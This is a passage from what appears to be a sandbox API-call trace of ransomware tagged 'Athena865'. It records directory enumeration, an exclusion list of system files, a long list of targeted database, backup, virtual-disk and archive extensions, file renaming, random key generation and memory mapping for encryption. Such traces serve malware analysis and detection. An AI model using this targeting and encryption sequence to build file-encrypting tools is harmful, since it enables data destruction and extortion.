(lpString1="..", lpString2=".") returned 1 [0058.438] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0058.438] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0058.438] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0058.438] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0058.438] lstrcmpiW (lpString1="GrooveLR.cab", lpString2=".") returned 1 [0058.438] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="..") returned 1 [0058.438] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="windows") returned -1 [0058.439] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="bootmgr") returned 1 [0058.439] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="temp") returned -1 [0058.439] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="pagefile.sys") returned -1 [0058.439] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="boot") returned 1 [0058.439] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="ids.txt") returned -1 [0058.439] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="ntuser.dat") returned -1 [0058.439] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="perflogs") returned -1 [0058.439] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="MSBuild") returned -1 [0058.439] lstrlenW (lpString="GrooveLR.cab") returned 12 [0058.439] lstrcpyW (in: lpString1=0x241e8c6, lpString2="GrooveLR.cab" | out: lpString1="GrooveLR.cab") returned="GrooveLR.cab" [0058.439] lstrlenW (lpString="GrooveLR.cab") returned 12 [0058.439] lstrlenW (lpString="Athena865") returned 9 [0058.439] lstrcmpiW (lpString1="oveLR.cab", lpString2="Athena865") returned 1 [0058.439] lstrlenW (lpString=".dll") returned 4 [0058.439] lstrcmpiW (lpString1="GrooveLR.cab", lpString2=".dll") returned 1 [0058.439] lstrlenW (lpString=".lnk") returned 4 [0058.439] lstrcmpiW (lpString1="GrooveLR.cab", lpString2=".lnk") returned 1 [0058.439] lstrlenW (lpString=".ini") returned 4 [0058.439] lstrcmpiW (lpString1="GrooveLR.cab", lpString2=".ini") returned 1 [0058.439] lstrlenW (lpString=".sys") returned 4 [0058.439] lstrcmpiW (lpString1="GrooveLR.cab", lpString2=".sys") returned 1 [0058.439] lstrlenW (lpString="GrooveLR.cab") returned 12 [0058.439] lstrlenW (lpString="bak") returned 3 [0058.439] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1 [0058.439] lstrlenW (lpString="ba_") returned 3 [0058.439] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1 [0058.439] lstrlenW (lpString="dbb") returned 3 [0058.439] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1 [0058.439] lstrlenW (lpString="vmdk") returned 4 [0058.439] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1 [0058.439] lstrlenW (lpString="rar") returned 3 [0058.439] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1 [0058.440] lstrlenW (lpString="zip") returned 3 [0058.440] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1 [0058.440] lstrlenW (lpString="tgz") returned 3 [0058.440] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1 [0058.440] lstrlenW (lpString="vbox") returned 4 [0058.440] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1 [0058.440] lstrlenW (lpString="vdi") returned 3 [0058.440] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1 [0058.440] lstrlenW (lpString="vhd") returned 3 [0058.440] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1 [0058.440] lstrlenW (lpString="vhdx") returned 4 [0058.440] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1 [0058.440] lstrlenW (lpString="avhd") returned 4 [0058.440] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1 [0058.440] lstrlenW (lpString="db") returned 2 [0058.440] lstrcmpiW (lpString1="ab", lpString2="db") returned -1 [0058.440] lstrlenW (lpString="db2") returned 3 [0058.440] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1 [0058.440] lstrlenW (lpString="db3") returned 3 [0058.440] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1 [0058.440] lstrlenW (lpString="dbf") returned 3 [0058.440] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1 [0058.440] lstrlenW (lpString="mdf") returned 3 [0058.440] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1 [0058.440] lstrlenW (lpString="mdb") returned 3 [0058.440] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1 [0058.440] lstrlenW (lpString="sql") returned 3 [0058.440] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1 [0058.440] lstrlenW (lpString="sqlite") returned 6 [0058.440] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1 [0058.440] lstrlenW (lpString="sqlite3") returned 7 [0058.440] lstrcmpiW (lpString1="eLR.cab", lpString2="sqlite3") returned -1 [0058.440] lstrlenW (lpString="sqlitedb") returned 8 [0058.440] lstrcmpiW (lpString1="veLR.cab", lpString2="sqlitedb") returned 1 [0058.441] lstrlenW (lpString="xml") returned 3 [0058.441] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1 [0058.441] lstrlenW (lpString="$er") returned 3 [0058.441] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1 [0058.441] lstrlenW (lpString="4dd") returned 3 [0058.441] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1 [0058.441] lstrlenW (lpString="4dl") returned 3 [0058.441] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1 [0058.441] lstrlenW (lpString="^^^") returned 3 [0058.441] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1 [0058.441] lstrlenW (lpString="abs") returned 3 [0058.441] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1 [0058.441] lstrlenW (lpString="abx") returned 3 [0058.441] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1 [0058.441] lstrlenW (lpString="accdb") returned 5 [0058.441] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1 [0058.441] lstrlenW (lpString="accdc") returned 5 [0058.441] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1 [0058.441] lstrlenW (lpString="accde") returned 5 [0058.441] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1 [0058.441] lstrlenW (lpString="accdr") returned 5 [0058.441] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1 [0058.441] lstrlenW (lpString="accdt") returned 5 [0058.441] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1 [0058.441] lstrlenW (lpString="accdw") returned 5 [0058.441] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1 [0058.441] lstrlenW (lpString="accft") returned 5 [0058.441] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1 [0058.441] lstrlenW (lpString="adb") returned 3 [0058.441] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0058.441] lstrlenW (lpString="adb") returned 3 [0058.441] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0058.441] lstrlenW (lpString="ade") returned 3 [0058.441] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1 [0058.442] lstrlenW (lpString="adf") returned 3 [0058.442] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1 [0058.442] lstrlenW (lpString="adn") returned 3 [0058.442] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1 [0058.442] lstrlenW (lpString="adp") returned 3 [0058.442] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1 [0058.442] lstrlenW (lpString="alf") returned 3 [0058.442] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1 [0058.442] lstrlenW (lpString="ask") returned 3 [0058.442] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1 [0058.442] lstrlenW (lpString="btr") returned 3 [0058.442] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1 [0058.442] lstrlenW (lpString="cat") returned 3 [0058.442] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1 [0058.442] lstrlenW (lpString="cdb") returned 3 [0058.442] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1 [0058.442] lstrlenW (lpString="ckp") returned 3 [0058.442] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1 [0058.442] lstrlenW (lpString="cma") returned 3 [0058.442] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1 [0058.442] lstrlenW (lpString="cpd") returned 3 [0058.442] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1 [0058.442] lstrlenW (lpString="dacpac") returned 6 [0058.442] lstrcmpiW (lpString1="LR.cab", lpString2="dacpac") returned 1 [0058.442] lstrlenW (lpString="dad") returned 3 [0058.442] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1 [0058.442] lstrlenW (lpString="dadiagrams") returned 10 [0058.442] lstrcmpiW (lpString1="ooveLR.cab", lpString2="dadiagrams") returned 1 [0058.442] lstrlenW (lpString="daschema") returned 8 [0058.442] lstrcmpiW (lpString1="veLR.cab", lpString2="daschema") returned 1 [0058.442] lstrlenW (lpString="db-journal") returned 10 [0058.442] lstrcmpiW (lpString1="ooveLR.cab", lpString2="db-journal") returned 1 [0058.442] lstrlenW (lpString="db-shm") returned 6 [0058.443] lstrcmpiW (lpString1="LR.cab", lpString2="db-shm") returned 1 [0058.443] lstrlenW (lpString="db-wal") returned 6 [0058.443] lstrcmpiW (lpString1="LR.cab", lpString2="db-wal") returned 1 [0058.443] lstrlenW (lpString="dbc") returned 3 [0058.443] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1 [0058.443] lstrlenW (lpString="dbs") returned 3 [0058.443] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1 [0058.443] lstrlenW (lpString="dbt") returned 3 [0058.443] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1 [0058.443] lstrlenW (lpString="dbv") returned 3 [0058.443] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1 [0058.443] lstrlenW (lpString="dbx") returned 3 [0058.443] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1 [0058.443] lstrlenW (lpString="dcb") returned 3 [0058.443] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1 [0058.443] lstrlenW (lpString="dct") returned 3 [0058.443] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1 [0058.443] lstrlenW (lpString="dcx") returned 3 [0058.443] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1 [0058.443] lstrlenW (lpString="ddl") returned 3 [0058.443] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1 [0058.443] lstrlenW (lpString="dlis") returned 4 [0058.443] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1 [0058.443] lstrlenW (lpString="dp1") returned 3 [0058.443] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1 [0058.443] lstrlenW (lpString="dqy") returned 3 [0058.443] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1 [0058.443] lstrlenW (lpString="dsk") returned 3 [0058.443] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1 [0058.443] lstrlenW (lpString="dsn") returned 3 [0058.443] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1 [0058.443] lstrlenW (lpString="dtsx") returned 4 [0058.443] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1 [0058.444] lstrlenW (lpString="dxl") returned 3 [0058.444] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1 [0058.444] lstrlenW (lpString="eco") returned 3 [0058.444] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1 [0058.444] lstrlenW (lpString="ecx") returned 3 [0058.444] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1 [0058.444] lstrlenW (lpString="edb") returned 3 [0058.444] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1 [0058.444] lstrlenW (lpString="epim") returned 4 [0058.444] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1 [0058.444] lstrlenW (lpString="fcd") returned 3 [0058.444] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1 [0058.444] lstrlenW (lpString="fdb") returned 3 [0058.444] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1 [0058.444] lstrlenW (lpString="fic") returned 3 [0058.444] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1 [0058.444] lstrlenW (lpString="flexolibrary") returned 12 [0058.444] lstrlenW (lpString="fm5") returned 3 [0058.444] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1 [0058.444] lstrlenW (lpString="fmp") returned 3 [0058.444] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1 [0058.444] lstrlenW (lpString="fmp12") returned 5 [0058.444] lstrcmpiW (lpString1="R.cab", lpString2="fmp12") returned 1 [0058.444] lstrlenW (lpString="fmpsl") returned 5 [0058.444] lstrcmpiW (lpString1="R.cab", lpString2="fmpsl") returned 1 [0058.444] lstrlenW (lpString="fol") returned 3 [0058.444] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1 [0058.444] lstrlenW (lpString="fp3") returned 3 [0058.444] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1 [0058.444] lstrlenW (lpString="fp4") returned 3 [0058.444] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1 [0058.444] lstrlenW (lpString="fp5") returned 3 [0058.445] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1 [0058.445] lstrlenW (lpString="fp7") returned 3 [0058.445] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1 [0058.445] lstrlenW (lpString="fpt") returned 3 [0058.445] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1 [0058.445] lstrlenW (lpString="frm") returned 3 [0058.445] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1 [0058.445] lstrlenW (lpString="gdb") returned 3 [0058.445] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0058.445] lstrlenW (lpString="gdb") returned 3 [0058.445] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0058.445] lstrlenW (lpString="grdb") returned 4 [0058.445] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1 [0058.445] lstrlenW (lpString="gwi") returned 3 [0058.445] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1 [0058.445] lstrlenW (lpString="hdb") returned 3 [0058.445] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1 [0058.445] lstrlenW (lpString="his") returned 3 [0058.445] lstrcmpiW (lpString1="cab", lpString2="his") returned -1 [0058.445] lstrlenW (lpString="ib") returned 2 [0058.445] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1 [0058.445] lstrlenW (lpString="idb") returned 3 [0058.445] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1 [0058.445] lstrlenW (lpString="ihx") returned 3 [0058.445] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1 [0058.445] lstrlenW (lpString="itdb") returned 4 [0058.445] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1 [0058.445] lstrlenW (lpString="itw") returned 3 [0058.445] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1 [0058.445] lstrlenW (lpString="jet") returned 3 [0058.445] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1 [0058.445] lstrlenW (lpString="jtx") returned 3 [0058.445] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1 [0058.446] lstrlenW (lpString="kdb") returned 3 [0058.446] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1 [0058.446] lstrlenW (lpString="kexi") returned 4 [0058.446] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1 [0058.446] lstrlenW (lpString="kexic") returned 5 [0058.446] lstrcmpiW (lpString1="R.cab", lpString2="kexic") returned 1 [0058.446] lstrlenW (lpString="kexis") returned 5 [0058.446] lstrcmpiW (lpString1="R.cab", lpString2="kexis") returned 1 [0058.446] lstrlenW (lpString="lgc") returned 3 [0058.446] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1 [0058.446] lstrlenW (lpString="lwx") returned 3 [0058.446] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1 [0058.446] lstrlenW (lpString="maf") returned 3 [0058.446] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1 [0058.446] lstrlenW (lpString="maq") returned 3 [0058.446] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1 [0058.446] lstrlenW (lpString="mar") returned 3 [0058.446] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1 [0058.446] lstrlenW (lpString="marshal") returned 7 [0058.446] lstrcmpiW (lpString1="eLR.cab", lpString2="marshal") returned -1 [0058.446] lstrlenW (lpString="mas") returned 3 [0058.446] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1 [0058.446] lstrlenW (lpString="mav") returned 3 [0058.446] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1 [0058.446] lstrlenW (lpString="maw") returned 3 [0058.446] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1 [0058.446] lstrlenW (lpString="mdbhtml") returned 7 [0058.446] lstrcmpiW (lpString1="eLR.cab", lpString2="mdbhtml") returned -1 [0058.446] lstrlenW (lpString="mdn") returned 3 [0058.446] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1 [0058.446] lstrlenW (lpString="mdt") returned 3 [0058.446] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1 [0058.447] lstrlenW (lpString="mfd") returned 3 [0058.447] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1 [0058.447] lstrlenW (lpString="mpd") returned 3 [0058.447] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1 [0058.447] lstrlenW (lpString="mrg") returned 3 [0058.447] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1 [0058.447] lstrlenW (lpString="mud") returned 3 [0058.447] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1 [0058.447] lstrlenW (lpString="mwb") returned 3 [0058.447] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1 [0058.447] lstrlenW (lpString="myd") returned 3 [0058.447] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1 [0058.447] lstrlenW (lpString="ndf") returned 3 [0058.447] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1 [0058.447] lstrlenW (lpString="nnt") returned 3 [0058.447] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1 [0058.447] lstrlenW (lpString="nrmlib") returned 6 [0058.447] lstrcmpiW (lpString1="LR.cab", lpString2="nrmlib") returned -1 [0058.447] lstrlenW (lpString="ns2") returned 3 [0058.447] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1 [0058.447] lstrlenW (lpString="ns3") returned 3 [0058.447] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1 [0058.447] lstrlenW (lpString="ns4") returned 3 [0058.447] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1 [0058.447] lstrlenW (lpString="nsf") returned 3 [0058.447] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1 [0058.447] lstrlenW (lpString="nv") returned 2 [0058.447] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1 [0058.447] lstrlenW (lpString="nv2") returned 3 [0058.447] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1 [0058.447] lstrlenW (lpString="nwdb") returned 4 [0058.447] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1 [0058.447] lstrlenW (lpString="nyf") returned 3 [0058.448] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1 [0058.448] lstrlenW (lpString="odb") returned 3 [0058.448] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0058.448] lstrlenW (lpString="odb") returned 3 [0058.448] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0058.448] lstrlenW (lpString="oqy") returned 3 [0058.448] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1 [0058.448] lstrlenW (lpString="ora") returned 3 [0058.448] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1 [0058.448] lstrlenW (lpString="orx") returned 3 [0058.448] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1 [0058.448] lstrlenW (lpString="owc") returned 3 [0058.448] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1 [0058.448] lstrlenW (lpString="p96") returned 3 [0058.448] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1 [0058.448] lstrlenW (lpString="p97") returned 3 [0058.448] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1 [0058.448] lstrlenW (lpString="pan") returned 3 [0058.448] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1 [0058.448] lstrlenW (lpString="pdb") returned 3 [0058.448] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1 [0058.448] lstrlenW (lpString="pdm") returned 3 [0058.448] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1 [0058.448] lstrlenW (lpString="pnz") returned 3 [0058.448] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1 [0058.448] lstrlenW (lpString="qry") returned 3 [0058.448] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1 [0058.448] lstrlenW (lpString="qvd") returned 3 [0058.448] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1 [0058.448] lstrlenW (lpString="rbf") returned 3 [0058.448] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1 [0058.448] lstrlenW (lpString="rctd") returned 4 [0058.448] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1 [0058.448] lstrlenW (lpString="rod") returned 3 [0058.449] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1 [0058.449] lstrlenW (lpString="rodx") returned 4 [0058.449] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1 [0058.449] lstrlenW (lpString="rpd") returned 3 [0058.449] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1 [0058.449] lstrlenW (lpString="rsd") returned 3 [0058.449] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1 [0058.449] lstrlenW (lpString="sas7bdat") returned 8 [0058.449] lstrcmpiW (lpString1="veLR.cab", lpString2="sas7bdat") returned 1 [0058.449] lstrlenW (lpString="sbf") returned 3 [0058.449] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1 [0058.449] lstrlenW (lpString="scx") returned 3 [0058.449] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1 [0058.449] lstrlenW (lpString="sdb") returned 3 [0058.449] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1 [0058.449] lstrlenW (lpString="sdc") returned 3 [0058.449] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1 [0058.449] lstrlenW (lpString="sdf") returned 3 [0058.449] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1 [0058.449] lstrlenW (lpString="sis") returned 3 [0058.449] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1 [0058.449] lstrlenW (lpString="spq") returned 3 [0058.449] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1 [0058.449] lstrlenW (lpString="te") returned 2 [0058.449] lstrcmpiW (lpString1="ab", lpString2="te") returned -1 [0058.449] lstrlenW (lpString="teacher") returned 7 [0058.449] lstrcmpiW (lpString1="eLR.cab", lpString2="teacher") returned -1 [0058.449] lstrlenW (lpString="tmd") returned 3 [0058.449] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1 [0058.449] lstrlenW (lpString="tps") returned 3 [0058.449] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1 [0058.449] lstrlenW (lpString="trc") returned 3 [0058.449] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0058.450] lstrlenW (lpString="trc") returned 3 [0058.450] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0058.450] lstrlenW (lpString="trm") returned 3 [0058.450] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1 [0058.450] lstrlenW (lpString="udb") returned 3 [0058.450] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1 [0058.450] lstrlenW (lpString="udl") returned 3 [0058.450] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1 [0058.450] lstrlenW (lpString="usr") returned 3 [0058.450] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1 [0058.450] lstrlenW (lpString="v12") returned 3 [0058.450] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1 [0058.450] lstrlenW (lpString="vis") returned 3 [0058.450] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1 [0058.450] lstrlenW (lpString="vpd") returned 3 [0058.450] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1 [0058.450] lstrlenW (lpString="vvv") returned 3 [0058.450] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1 [0058.450] lstrlenW (lpString="wdb") returned 3 [0058.450] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1 [0058.450] lstrlenW (lpString="wmdb") returned 4 [0058.450] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1 [0058.450] lstrlenW (lpString="wrk") returned 3 [0058.450] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1 [0058.450] lstrlenW (lpString="xdb") returned 3 [0058.450] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1 [0058.450] lstrlenW (lpString="xld") returned 3 [0058.450] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1 [0058.450] lstrlenW (lpString="xmlff") returned 5 [0058.450] lstrcmpiW (lpString1="R.cab", lpString2="xmlff") returned -1 [0058.450] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.Athena865") returned 85 [0058.450] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.athena865"), dwFlags=0x1) returned 1 [0058.452] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0058.452] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4095519) returned 1 [0058.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0058.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0058.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0058.452] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0058.453] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0058.453] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0058.453] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e8120, lpName=0x0) returned 0x17c [0058.455] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x1e8120) returned 0x2d50000 [0058.534] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0058.683] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0058.706] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0058.706] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0058.706] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0058.706] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0058.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0058.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 